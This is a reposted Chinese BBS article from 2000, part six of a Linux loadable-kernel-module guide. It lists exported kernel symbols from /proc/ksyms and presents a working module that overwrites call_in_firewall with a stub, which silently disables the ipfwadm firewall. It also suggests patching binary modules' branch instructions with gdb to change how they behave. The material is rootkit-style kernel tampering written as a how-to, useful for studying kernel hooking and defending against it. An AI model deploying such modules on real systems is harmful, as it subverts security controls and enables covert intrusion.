荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: cycker (快过年吧.我想回家), 信区: Linux
标  题: Linux 可卸载内核模块完全指南(六)(转寄)[转载]
发信站: 荔园晨风BBS站 (Thu Jan  2 18:22:49 2003), 站内信件

【 以下文字转载自 cycker 的信箱 】
【 原文由 xiaofong@bbs.pku.edu.cn 所发表 】
发信人: chenhao (努力学习), 信区: Linux
标  题: Linux 可卸载内核模块完全指南(六)
发信站: 北大未名站 (2000年11月20日01:13:57 星期一) , 转信

第二部分 渐入佳境

2.3 迷惑内核的系统表


在2.1中你懂得了如何通过内核符号表存取sys_call_table,我们可以在我们的模块中通过
存取他们改变任何输出的东西(例如函数,结构,变量等等)。

任何列在/proc/ksysms的东西可以被入侵.记住我们的模块不能被这种方法损害,因为我们
根本不输出任何符号.这里展示/proc/ksyms一些小小的部分,用来演示你实际上能做那些改
动.

...

001bf1dc ppp_register_compressor

001bf23c ppp_unregister_compressor

001e7a10 ppp_crc16_table

001b9cec slhc_init

001b9ebc slhc_free

001baa20 slhc_remember

001b9f6c slhc_compress

001ba5dc slhc_uncompress

001babbc slhc_toss

001a79f4 register_serial

001a7b40 unregister_serial

00109cec dump_thread

00109c98 dump_fpu

001c0c90 __do_delay

001c0c60 down_failed

001c0c80 down_failed_interruptible

001c0c70 up_wakeup

001390dc sock_register

00139110 sock_unregister

0013a390 memcpy_fromiovec

001393c8 sock_setsockopt

00139640 sock_getsockopt

001398c8 sk_alloc

001398f8 sk_free

00137b88 sock_wake_async

00139a70 sock_alloc_send_skb

0013a408 skb_recv_datagram

0013a580 skb_free_datagram

0013a5cc skb_copy_datagram

0013a60c skb_copy_datagram_iovec

0013a62c datagram_select

00141480 inet_add_protocol

001414c0 inet_del_protocol

001ddd18 rarp_ioctl_hook

001bade4 init_etherdev

00140904 ip_rt_route

001408e4 ip_rt_dev

00150b84 icmp_send

00143750 ip_options_compile

001408c0 ip_rt_put

0014faa0 arp_send

0014f5ac arp_bind_cache

001dd3cc ip_id_count

0014445c ip_send_check

00142bc0 ip_forward

001dd3c4 sysctl_ip_forward

0013a994 register_netdevice_notifier

0013a9c8 unregister_netdevice_notifier

0013ce00 register_net_alias_type

0013ce4c unregister_net_alias_type

001bb208 register_netdev

001bb2e0 unregister_netdev

001bb090 ether_setup

0013d1c0 eth_type_trans

0013d318 eth_copy_and_sum

0014f164 arp_query

00139d84 alloc_skb

00139c90 kfree_skb

00139f20 skb_clone

0013a1d0 dev_alloc_skb

0013a184 dev_kfree_skb

0013a14c skb_device_unlock

0013ac20 netif_rx

0013ae0c dev_tint

001e6ea0 irq2dev_map

0013a7a8 dev_add_pack

0013a7e8 dev_remove_pack

0013a840 dev_get

0013b704 dev_ioctl

0013abfc dev_queue_xmit

001e79a0 dev_base

0013a8dc dev_close

0013ba40 dev_mc_add

0014f3c8 arp_find

001b05d8 n_tty_ioctl

001a7ccc tty_register_ldisc

0012c8dc kill_fasync

0014f164 arp_query

00155ff8 register_ip_masq_app

0015605c unregister_ip_masq_app

00156764 ip_masq_skb_replace

00154e30 ip_masq_new

00154e64 ip_masq_set_expire

001ddf80 ip_masq_free_ports

001ddfdc ip_masq_expire

001548f0 ip_masq_out_get_2

001391e8 register_firewall

00139258 unregister_firewall

00139318 call_in_firewall

0013935c call_out_firewall

001392d4 call_fw_firewall

...


看看call_in_firewall,这是一个被内核中防火墙管理调用的函数.如果我们用一个假的函
数替换这个调用,会发生什么情况呢?

看看下面的LKM:


#define MODULE

#define __KERNEL__


#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>


/*获得输出的函数*/

extern int *call_in_firewall;


/*我们自己的没有意义的call_in_firewall*/

int new_call_in_firewall()

{

return 0;

}


int init_module(void)

/*初始化模块*/

{

call_in_firewall=new_call_in_firewall;

return 0;

}


void cleanup_module(void)

/*卸载模块*/

{

}


编译并且加载这个模块,然后输入'ipfwadm -l -a deny'.最后'ping 127.0.0.1',你的内核
会准确的产生一个错误信息.因为对call_in_firewall(....)的调用被一个假的替换了.(在
这个例子中你可以跳过防火墙的安装)


这是一个相当野蛮的消灭输出模块的方法.你也可以用gdb反汇编某个模块然后通过改变某
个字节来改变模块的工作方式.反汇编这个函数然后搜索一些像JNZ,JNE这样的命令...用这
种方法你可以对重要的部分进行更改.当然,你可以在内核/模块的源代码中查找这些函数.
但是对于那些没有源代码而只有二进制模块的符号你该这么办呢?在这里反汇编是相当有趣
的.



--
※ 来源:.北大未名站 bbs.pku.edu.cn [FROM: 162.105.45.129]
--
※ 转寄:·北大未名站 bbs.pku.edu.cn·[FROM: 210.39.3.50]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.36.220]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店